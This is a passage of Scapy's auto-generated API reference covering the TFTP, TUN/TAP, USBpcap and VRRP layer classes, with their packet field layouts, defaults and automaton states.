class scapy.layers.tftp.TFTP_OACK(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L116-L121]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L120-L121]

	




	
fields_desc

	




	
payload_guess

	Possible sublayers:
TFTP_Options










	
class scapy.layers.tftp.TFTP_Option(_pkt, /, *, oname=b'', value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L65-L70]

	Bases: Packet


	
aliastypes

	




	
extract_padding(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L69-L70]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             ONAME             |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. TFTP_Option                         


TFTP_Option fields






	oname

	StrNullField

	b''



	value

	StrNullField

	b''















	
class scapy.layers.tftp.TFTP_Options(_pkt, /, *, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L73-L74]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. TFTP_Options                         


TFTP_Options fields






	options

	PacketListField

	[]















	
class scapy.layers.tftp.TFTP_RRQ(_pkt, /, *, filename=b'', mode=b'octet')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L30-L39]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L35-L36]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            FILENAME           |              MODE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. TFTP_RRQ                           


TFTP_RRQ fields






	filename

	StrNullField

	b''



	mode

	StrNullField

	b'octet'











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L38-L39]

	




	
payload_guess

	Possible sublayers:
TFTP_Options










	
class scapy.layers.tftp.TFTP_RRQ_server(self, store=None, joker=None, dir=None, ip=None, sport=None, serve_one=False, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L380-L484]

	Bases: Automaton


	
END(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
RECEIVED_ACK(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
RECEIVED_RRQ(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SEND_FILE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
WAIT_RRQ(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
actions: Dict[str, List[_StateWrapper]] = {'data_remaining': [], 'file_in_store': [], 'file_not_found': [<function TFTP_RRQ_server.send_error>], 'no_more_data': [], 'receive_rrq': [], 'received_ack': [], 'timeout_waiting_ack': []}

	




	
breakpoints: Set[_StateWrapper]

	




	
conditions: Dict[str, List[_StateWrapper]] = {'END': [], 'RECEIVED_ACK': [<function TFTP_RRQ_server.no_more_data>, <function TFTP_RRQ_server.data_remaining>], 'RECEIVED_RRQ': [<function TFTP_RRQ_server.file_in_store>, <function TFTP_RRQ_server.file_not_found>], 'SEND_FILE': [], 'WAIT_RRQ': []}

	




	
data_remaining()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L478-L480]

	




	
eofs: Dict[str, _StateWrapper] = {}

	




	
file_in_store()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L439-L443]

	




	
file_not_found()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L445-L448]

	




	
initial_states: List[_StateWrapper] = [<function ATMT.state.<locals>.deco.<locals>._state_wrapper>]

	




	
intercepted_packet: None | Packet

	




	
interception_points: Set[_StateWrapper]

	




	
ioevents: Dict[str, List[_StateWrapper]] = {'END': [], 'RECEIVED_ACK': [], 'RECEIVED_RRQ': [], 'SEND_FILE': [], 'WAIT_RRQ': []}

	




	
ionames: List[str] = []

	




	
iosupersockets: List[SuperSocket] = []

	




	
listen_sock: SuperSocket | None

	




	
master_filter(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L397-L398]

	




	
no_more_data()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L471-L476]

	




	
packets: PacketList

	




	
parse_args(store=None, joker=None, dir=None, ip=None, sport=None, serve_one=False, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L381-L395]

	




	
receive_rrq(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L405-L408]

	




	
received_ack(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L462-L465]

	




	
recv_conditions: Dict[str, List[_StateWrapper]] = {'END': [], 'RECEIVED_ACK': [], 'RECEIVED_RRQ': [], 'SEND_FILE': [<function TFTP_RRQ_server.received_ack>], 'WAIT_RRQ': [<function TFTP_RRQ_server.receive_rrq>]}

	




	
send_error()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L450-L452]

	




	
send_sock: SuperSocket | None

	




	
states: Dict[str, _StateWrapper] = {'END': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'RECEIVED_ACK': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'RECEIVED_RRQ': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SEND_FILE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'WAIT_RRQ': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>}

	




	
stop_state: _StateWrapper | None = None

	




	
threadid: int | None

	




	
timeout: Dict[str, _TimerList] = {'END': [], 'RECEIVED_ACK': [], 'RECEIVED_RRQ': [], 'SEND_FILE': [<Timer 0.000000(3.000000)>], 'WAIT_RRQ': []}

	




	
timeout_waiting_ack()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L458-L460]

	








	
class scapy.layers.tftp.TFTP_WRQ(_pkt, /, *, filename=b'', mode=b'octet')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L42-L51]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L47-L48]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            FILENAME           |              MODE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. TFTP_WRQ                           


TFTP_WRQ fields






	filename

	StrNullField

	b''



	mode

	StrNullField

	b'octet'











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L50-L51]

	




	
payload_guess

	Possible sublayers:
TFTP_Options










	
class scapy.layers.tftp.TFTP_WRQ_server(self, ip=None, sport=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L303-L377]

	Bases: Automaton


	
BEGIN(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
DATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
END(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
WAIT_DATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ack_WRQ(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L326-L343]

	




	
ack_data()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L361-L364]

	




	
actions: Dict[str, List[_StateWrapper]] = {'receive_WRQ': [<function TFTP_WRQ_server.ack_WRQ>], 'receive_data': [<function TFTP_WRQ_server.ack_data>], 'resend_ack': []}

	




	
breakpoints: Set[_StateWrapper]

	




	
conditions: Dict[str, List[_StateWrapper]] = {'BEGIN': [], 'DATA': [], 'END': [], 'WAIT_DATA': []}

	




	
eofs: Dict[str, _StateWrapper] = {}

	




	
initial_states: List[_StateWrapper] = [<function ATMT.state.<locals>.deco.<locals>._state_wrapper>]

	




	
intercepted_packet: None | Packet

	




	
interception_points: Set[_StateWrapper]

	




	
ioevents: Dict[str, List[_StateWrapper]] = {'BEGIN': [], 'DATA': [], 'END': [], 'WAIT_DATA': []}

	




	
ionames: List[str] = []

	




	
iosupersockets: List[SuperSocket] = []

	




	
listen_sock: SuperSocket | None

	




	
master_filter(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L310-L311]

	




	
packets: PacketList

	




	
parse_args(ip=None, sport=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L305-L308]

	




	
receive_WRQ(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L321-L324]

	




	
receive_data(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L354-L359]

	




	
recv_conditions: Dict[str, List[_StateWrapper]] = {'BEGIN': [<function TFTP_WRQ_server.receive_WRQ>], 'DATA': [], 'END': [], 'WAIT_DATA': [<function TFTP_WRQ_server.receive_data>]}

	




	
resend_ack()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L349-L352]

	




	
send_sock: SuperSocket | None

	




	
states: Dict[str, _StateWrapper] = {'BEGIN': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'DATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'END': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'WAIT_DATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>}

	




	
stop_state: _StateWrapper | None = None

	




	
threadid: int | None

	




	
timeout: Dict[str, _TimerList] = {'BEGIN': [], 'DATA': [], 'END': [], 'WAIT_DATA': [<Timer 0.000000(1.000000)>]}

	








	
class scapy.layers.tftp.TFTP_read(self, filename, server, sport=None, port=69, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L136-L220]

	Bases: Automaton


	
BEGIN(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
END(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ERROR(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
RECEIVING(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
WAITING(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
actions: Dict[str, List[_StateWrapper]] = {'receive_data': [<function TFTP_read.send_ack>], 'receive_error': [], 'timeout_waiting': [<function TFTP_read.retransmit_last_packet>]}

	




	
breakpoints: Set[_StateWrapper]

	




	
conditions: Dict[str, List[_StateWrapper]] = {'BEGIN': [], 'END': [], 'ERROR': [], 'RECEIVING': [], 'WAITING': []}

	




	
eofs: Dict[str, _StateWrapper] = {}

	




	
initial_states: List[_StateWrapper] = [<function ATMT.state.<locals>.deco.<locals>._state_wrapper>]

	




	
intercepted_packet: None | Packet

	




	
interception_points: Set[_StateWrapper]

	




	
ioevents: Dict[str, List[_StateWrapper]] = {'BEGIN': [], 'END': [], 'ERROR': [], 'RECEIVING': [], 'WAITING': []}

	




	
ionames: List[str] = []

	




	
iosupersockets: List[SuperSocket] = []

	




	
listen_sock: SuperSocket | None

	




	
master_filter(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L144-L147]

	




	
packets: PacketList

	




	
parse_args(filename, server, sport=None, port=69, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L137-L142]

	




	
receive_data(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L170-L176]

	




	
receive_error(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L178-L181]

	




	
recv_conditions: Dict[str, List[_StateWrapper]] = {'BEGIN': [], 'END': [], 'ERROR': [], 'RECEIVING': [], 'WAITING': [<function TFTP_read.receive_data>, <function TFTP_read.receive_error>]}

	




	
retransmit_last_packet()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L187-L189]

	




	
send_ack()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L191-L195]

	




	
send_sock: SuperSocket | None

	




	
states: Dict[str, _StateWrapper] = {'BEGIN': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'END': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ERROR': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'RECEIVING': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'WAITING': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>}

	




	
stop_state: _StateWrapper | None = None

	




	
threadid: int | None

	




	
timeout: Dict[str, _TimerList] = {'BEGIN': [], 'END': [], 'ERROR': [], 'RECEIVING': [], 'WAITING': [<Timer 0.000000(3.000000)>]}

	




	
timeout_waiting()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L183-L185]

	








	
class scapy.layers.tftp.TFTP_write(self, filename, data, server, sport=None, port=69, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L223-L300]

	Bases: Automaton


	
BEGIN(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
END(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ERROR(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SEND_DATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
WAITING_ACK(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
actions: Dict[str, List[_StateWrapper]] = {'received_ack': [], 'received_error': [], 'timeout_waiting': [<function TFTP_write.retransmit_last_packet>]}

	




	
breakpoints: Set[_StateWrapper]

	




	
conditions: Dict[str, List[_StateWrapper]] = {'BEGIN': [], 'END': [], 'ERROR': [], 'SEND_DATA': [], 'WAITING_ACK': []}

	




	
eofs: Dict[str, _StateWrapper] = {}

	




	
initial_states: List[_StateWrapper] = [<function ATMT.state.<locals>.deco.<locals>._state_wrapper>]

	




	
intercepted_packet: None | Packet

	




	
interception_points: Set[_StateWrapper]

	




	
ioevents: Dict[str, List[_StateWrapper]] = {'BEGIN': [], 'END': [], 'ERROR': [], 'SEND_DATA': [], 'WAITING_ACK': []}

	




	
ionames: List[str] = []

	




	
iosupersockets: List[SuperSocket] = []

	




	
listen_sock: SuperSocket | None

	




	
master_filter(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L233-L236]

	




	
packets: PacketList

	




	
parse_args(filename, data, server, sport=None, port=69, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L224-L231]

	




	
received_ack(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L260-L266]

	




	
received_error(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L268-L271]

	




	
recv_conditions: Dict[str, List[_StateWrapper]] = {'BEGIN': [], 'END': [], 'ERROR': [], 'SEND_DATA': [], 'WAITING_ACK': [<function TFTP_write.received_ack>, <function TFTP_write.received_error>]}

	




	
retransmit_last_packet()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L277-L279]

	




	
send_sock: SuperSocket | None

	




	
states: Dict[str, _StateWrapper] = {'BEGIN': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'END': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ERROR': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SEND_DATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'WAITING_ACK': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>}

	




	
stop_state: _StateWrapper | None = None

	




	
threadid: int | None

	




	
timeout: Dict[str, _TimerList] = {'BEGIN': [], 'END': [], 'ERROR': [], 'SEND_DATA': [], 'WAITING_ACK': [<Timer 0.000000(3.000000)>]}

	




	
timeout_waiting()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tftp.py#L273-L275]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tuntap

Implementation of TUN/TAP interfaces.

These allow Scapy to act as the remote side of a virtual network interface.


	
class scapy.layers.tuntap.LinuxTunIfReq(_pkt, /, *, ifrn_name=b'', ifru_flags=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tuntap.py#L49-L61]

	Bases: Packet

Structure to request a specific device name for a tun/tap
Linux  struct ifreq.

See linux/if.h (struct ifreq) and tuntap.txt for reference.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           IFRN NAME                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           IFRU FLAGS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LinuxTunIfReq                        


LinuxTunIfReq fields






	ifrn_name

	StrFixedLenField

	b''



	ifru_flags

	NativeShortField

	0















	
class scapy.layers.tuntap.LinuxTunPacketInfo(_pkt, /, *, flags=<Flag 0 ()>, type=36864)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tuntap.py#L64-L78]

	Bases: TunPacketInfo

Base for TUN packets.

See linux/if_tun.h (struct tun_pi) for reference.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FLAGS             |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. LinuxTunPacketInfo                      


LinuxTunPacketInfo fields






	flags

	FlagsField

	<Flag 0 ()>



	type

	XShortEnumField

	36864















	
class scapy.layers.tuntap.NativeShortField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tuntap.py#L40-L42]

	Bases: Field






	
class scapy.layers.tuntap.TunPacketInfo(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tuntap.py#L45-L46]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.tuntap.TunTapInterface(iface=None, mode_tun=None, default_read_size=65535, strip_packet_info=True, *args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tuntap.py#L81-L243]

	Bases: SimpleSocket

A socket to act as the host’s peer of a tun / tap interface.

This implements kernel interfaces for tun and tap devices.


	Parameters:

	
	iface – The name of the interface to use, eg: ‘tun0’


	mode_tun (bool) – If True, create as TUN interface (layer 3).
If False, creates a TAP interface (layer 2).
If not supplied, attempts to detect from the iface
name.


	strip_packet_info (bool) – If True (default), strips any TunPacketInfo from
the packet. If False, leaves it in tact. Some
operating systems and tunnel types don’t include
this sort of data.








FreeBSD references:


	tap(4): https://www.freebsd.org/cgi/man.cgi?query=tap&sektion=4


	tun(4): https://www.freebsd.org/cgi/man.cgi?query=tun&sektion=4




Linux references:


	https://www.kernel.org/doc/Documentation/networking/tuntap.txt





	
desc = "Act as the host's peer of a tun / tap interface"

	




	
recv_raw(x=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tuntap.py#L204-L220]

	




	
send(x: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tuntap.py#L222-L243]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.usb

Default USB frames & Basic implementation


	
class scapy.layers.usb.USBpcap(_pkt, /, *, headerLen=None, res=0, irpId=0, usbd_status=0, function=0, info=0, bus=0, device=0, endpoint=0, transfer=0, dataLength=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/usb.py#L80-L114]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   HEADERLEN   |      RES      |             IRPID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          USBD STATUS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            FUNCTION           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      INFO     |              BUS              |     DEVICE    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |    ENDPOINT   |    TRANSFER   |   DATALENGTH  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. USBpcap                           


USBpcap fields






	headerLen

	ByteField

	None



	res

	ByteField

	0



	irpId

	XLELongField

	0



	usbd_status

	LEIntEnumField

	0



	function

	LEShortEnumField

	0



	info

	XByteField

	0



	bus

	LEShortField

	0



	device

	LEShortField

	0



	endpoint

	XByteField

	0



	transfer

	ByteEnumField

	0



	dataLength

	LenField

	None











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/usb.py#L104-L114]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/usb.py#L94-L102]

	








	
class scapy.layers.usb.USBpcapTransferControl(_pkt, /, *, stage=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/usb.py#L135-L139]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STAGE     |
+-+-+-+-+-+-+-+-+

                   Fig. USBpcapTransferControl                    


USBpcapTransferControl fields






	stage

	ByteField

	0















	
class scapy.layers.usb.USBpcapTransferInterrupt(_pkt, /, *, startFrame=0, numberOfPackets=0, errorCount=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/usb.py#L126-L132]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           STARTFRAME                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        NUMBEROFPACKETS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ERRORCOUNT                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. USBpcapTransferInterrupt                   


USBpcapTransferInterrupt fields






	startFrame

	LEIntField

	0



	numberOfPackets

	LEIntField

	0



	errorCount

	LEIntField

	0















	
class scapy.layers.usb.USBpcapTransferIsochronous(_pkt, /, *, offset=0, length=0, usbd_status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/usb.py#L117-L123]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFFSET                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          USBD STATUS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. USBpcapTransferIsochronous                  


USBpcapTransferIsochronous fields






	offset

	LEIntField

	0



	length

	LEIntField

	0



	usbd_status

	LEIntEnumField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.vrrp

VRRP (Virtual Router Redundancy Protocol).


	
class scapy.layers.vrrp.VRRP(_pkt, /, *, version=2, type=1, vrid=1, priority=100, ipcount=None, authtype=0, adv=1, chksum=None, addrlist=[], auth1=0, auth2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/vrrp.py#L24-L51]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/vrrp.py#L45-L51]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION|  TYPE |      VRID     |    PRIORITY   |    IPCOUNT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AUTHTYPE   |      ADV      |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ADDRLIST           |             AUTH1             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             AUTH2             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. VRRP                             


VRRP fields






	version

	BitField  (4 bits)

	2



	type

	BitField  (4 bits)

	1



	vrid

	ByteField

	1



	priority

	ByteField

	100



	ipcount

	FieldLenField

	None



	authtype

	ByteField

	0



	adv

	ByteField

	1



	chksum

	XShortField

	None



	addrlist

	FieldListField

	[]



	auth1

